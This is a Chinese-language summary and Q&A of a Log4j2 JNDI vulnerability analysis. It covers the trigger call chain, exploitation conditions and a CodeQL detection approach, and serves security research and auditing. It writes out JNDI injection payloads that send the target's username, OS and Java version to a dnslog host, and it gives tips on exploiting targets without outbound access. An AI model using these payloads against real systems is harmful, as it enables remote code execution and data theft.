Log4j2 漏洞分析
内容提要
本文分析Log4j2 JNDI漏洞,通过复现POC和堆栈追踪,定位漏洞触发点为`MessagePatternConverter.format`调用`StrSubstitutor.replace`,经`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求导致RCE。文章还探讨了实战利用条件、CodeQL检测规则,并总结漏洞本质是lookup功能被滥用,分析堆栈可高效定位漏洞。
延伸解读
漏洞触发链路解析
文章通过堆栈追踪,将漏洞触发点定位到`MessagePatternConverter.format`调用`StrSubstitutor.replace`,进而经`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求。这一分析思路表明,通过异常堆栈可以快速定位漏洞触发点,减少盲目排查时间。但该方法依赖payload触发报错,且需对Log4j2内部类有一定了解。
实战利用条件
文章指出,实战利用需先确定用户名、操作系统及Java版本,可通过`${env:USERNAME}.${env:OS}.${sys:java.version}`等占位符获取。同时,利用前提是目标环境可出网,若LDAP不出网则无法利用,但若仅HTTP不出网,仍可尝试利用本地classpath中的反序列化漏洞组件。
CodeQL检测思路
文章提供了一段CodeQL规则,用于检测源码中是否存在Log4j2漏洞。该规则通过追踪用户可控数据流向日志调用参数,并判断是否使用了Log4j2核心jar包。这种静态分析方式可辅助安全审计,但需注意规则可能产生误报或漏报,需结合人工验证。
漏洞本质与反思
文章总结,Log4j2漏洞本质是lookup功能被滥用,官方文档本就支持该功能。作者提到曾发现相关sink但未深入研究,事后感到庆幸未因发现漏洞而卷入事件。这提醒安全研究者,发现潜在风险时应及时上报,避免因疏忽导致严重后果。
Q&A
Log4j2 JNDI漏洞的触发点在哪里?
漏洞触发点在`MessagePatternConverter.format`方法,它调用`StrSubstitutor.replace`,进而通过`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求,导致远程代码执行。
如何通过堆栈追踪定位Log4j2漏洞?
通过分析漏洞触发时的异常堆栈,可以定位到关键调用链:`MessagePatternConverter.format` -> `StrSubstitutor.replace` -> `Interpolator.lookup` -> `JndiLookup.lookup` -> `JndiManager.lookup` -> `InitialContext.lookup`。删除无关的JNDI和SPI调用后,即可快速定位漏洞点。
Log4j2漏洞的POC是什么?
POC示例:`String poc = "${jndi:ldap://${env:OS}.dnslog.cn}"; logger.info("{}", poc);` 该POC利用JNDI查找触发远程代码执行。
Log4j2漏洞利用时如何探测目标环境信息?
可以通过构造类似`${jndi:ldap://${env:USERNAME}.${env:OS}.${sys:java.version}.dnslog.cn}`的payload,利用Log4j2的lookup功能获取用户名、操作系统和Java版本等信息。
Log4j2漏洞在不出网的情况下能否利用?
如果HTTP不出网但LDAP出网,可以利用本地classpath中的反序列化漏洞组件进行攻击;如果LDAP也不出网,则无法利用。
如何用CodeQL检测Log4j2漏洞?
可以使用CodeQL规则检测源码中是否存在log4j调用且参数来自用户可控数据。规则通过定义`Log4jCall`类匹配log4j相关方法,并配置污点追踪,将远程数据源流向log4j调用参数作为漏洞路径。
Log4j2漏洞的本质是什么?
漏洞本质是lookup功能被滥用,攻击者可以在日志消息中注入`${}`表达式,触发JNDI查找,进而导致远程代码执行。